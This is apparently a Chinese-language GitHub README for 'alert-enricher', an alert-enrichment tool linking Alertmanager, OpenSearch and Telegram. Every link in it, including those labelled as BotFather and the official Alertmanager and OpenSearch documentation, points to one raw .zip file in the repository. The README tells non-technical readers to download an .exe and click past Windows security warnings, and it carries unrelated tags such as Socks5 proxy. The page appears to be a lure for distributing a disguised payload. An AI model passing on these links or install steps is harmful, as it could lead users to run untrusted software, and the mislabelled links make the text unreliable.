xdmaxim23-netizen/alert-enricher
GitHub: xdmaxim23-netizen/alert-enricher
一个运维告警富化工具,通过整合Alertmanager告警与OpenSearch日志进行自动关联分析,并将带有根因分析结果的完整告警信息推送到Telegram频道。
Stars: 0 | Forks: 0
# ⚙️ alert-enricher - 快速简化告警诊断
[](https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip)
## 📋 什么是 alert-enricher?
alert-enricher 有助于理解技术告警。它连接 Alertmanager、OpenSearch 和 Telegram,在出现问题时提供更清晰、更快捷的信息。该工具最多可将您排查事件的时间缩短 80%。使用 alert-enricher,您可以快速查看相关告警、详细数据和重要消息。这使您能够更快地做出反应并解决问题。
## 🎯 适用人群?
该软件适合任何监控系统或服务的人员。您无需了解编程或复杂的技术术语。如果您会收到有关您系统的告警,并希望无需漫长等待就能更好地理解它们,那么 alert-enricher 非常适合您。
## 🖥 系统要求
- Windows 10 或更高版本(推荐 64 位)
- 至少 4 GB 的可用内存 (RAM)
- 500 MB 的可用磁盘空间
- 需要连接互联网以接收来自 Alertmanager 和 OpenSearch 的数据
- 用于接收告警消息的 Telegram 账号
## 🔧 alert-enricher 工作原理
alert-enricher 连接三个部分:
- **Alertmanager:** 从您的系统中收集告警。
- **OpenSearch:** 存储数据和日志。
- **Telegram:** 向您的手机或电脑发送告警通知。
当问题发生时,alert-enricher 会从 Alertmanager 和 OpenSearch 收集详细信息,然后在 Telegram 上发送完整的摘要。这有助于您全面了解情况,而无需检查许多地方。
## 🚀 如何获取 alert-enricher
[](https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip)
1. 点击此链接访问发布页面:
https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip
2. 找到最新版本。它会有一个以 `.exe` 结尾的文件。
3. 点击该 `.exe` 文件进行下载。
4. 将文件保存到桌面或其他易于找到的文件夹中。
## 📥 在 Windows 上安装和运行 alert-enricher
1. 下载后,在您的计算机上找到该 `.exe` 文件。
2. 双击该文件。Windows 可能会显示安全警告。
3. 点击 **运行** 或 **是** 以开始安装。
4. 安装程序将打开一个设置窗口。
5. 按照提示操作:
- 接受许可协议。
- 选择安装位置或保留默认文件夹。
- 点击 **安装**。
6. 设置完成后,点击 **完成**。
7. 应用程序图标将出现在您的桌面或“开始”菜单中。
8. 双击 alert-enricher 图标以启动应用程序。
## ⚙️ 基本设置指南
首次运行 alert-enricher 时,您需要将其连接到您的系统。操作方法如下:
1. **连接 Alertmanager:**
输入运行 Alertmanager 的地址 (URL)。您可以从系统管理员或 IT 团队处获取此地址。
2. **连接 OpenSearch:**
提供 OpenSearch 服务器 URL 和登录详细信息(如果需要)。
3. **连接 Telegram:**
要在 Telegram 上接收告警,请创建一个 Telegram 机器人 (bot) 并获取其 token。您可以通过在 Telegram 内部与 [BotFather](https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip) 交流来创建机器人。按照其指示获取机器人 token。
4. **添加您的 Telegram 用户 ID 或群组 ID:**
这是告警发送的目标位置。您可以使用显示您 Telegram chat ID 的机器人或工具来获取您的用户 ID。
5. 保存您的设置并测试连接。应用程序将检查它能否连接到 Alertmanager、OpenSearch 和 Telegram。
## 💡 alert-enricher 的日常使用
- 当您的系统中触发告警时,alert-enricher 会在 Telegram 上发送包含额外详细信息的消息。
- 您可以获取告警来源、在 OpenSearch 中找到的相关事件以及建议的后续步骤等信息。
- 您可以回复告警,或使用 Telegram 命令向 alert-enricher 询问更多上下文。
- 该应用程序会对相似的告警进行分组,以避免信息过载。
## ⚠️ 故障排除提示
- 如果您未收到 Telegram 告警,请检查您的机器人 token 和 chat ID。
- 确认 alert-enricher 能否访问 Alertmanager 和 OpenSearch 的 URL。
- 如果应用程序停止响应,请重新启动它。
- 检查您的 Windows 防火墙设置,以允许应用程序的网络访问。
- 确保您的互联网连接稳定。
对于更高级的问题,您可以在应用程序安装文件夹的 **logs** 目录中找到日志。
## 📚 其他资源
- Alertmanager: https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip
- OpenSearch: https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip
- Telegram Bot creation: https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip
## 🔄 更新
定期检查发布页面以下载新版本。更新可使您的软件保持安全并增加新功能。
https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip
标签:Alertmanager, IT运维, Socks5代理, SRE, Telegram, Windows工具, 偏差过滤, 告警关联, 告警分发, 告警富化, 告警管理, 安全运营, 工作流自动化, 扫描框架, 故障排查, 数据集中化, 日志关联, 机器人, 根因分析, 监控, 警报聚合, 运维自动化, 通知